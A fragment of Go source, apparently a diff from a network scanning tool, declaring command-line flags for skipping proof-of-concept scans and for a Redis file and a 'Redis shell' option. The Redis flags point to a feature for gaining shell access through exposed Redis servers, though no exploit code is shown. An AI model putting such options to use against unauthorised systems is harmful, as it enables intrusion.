false, GetText("flag_nopoc")) + fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))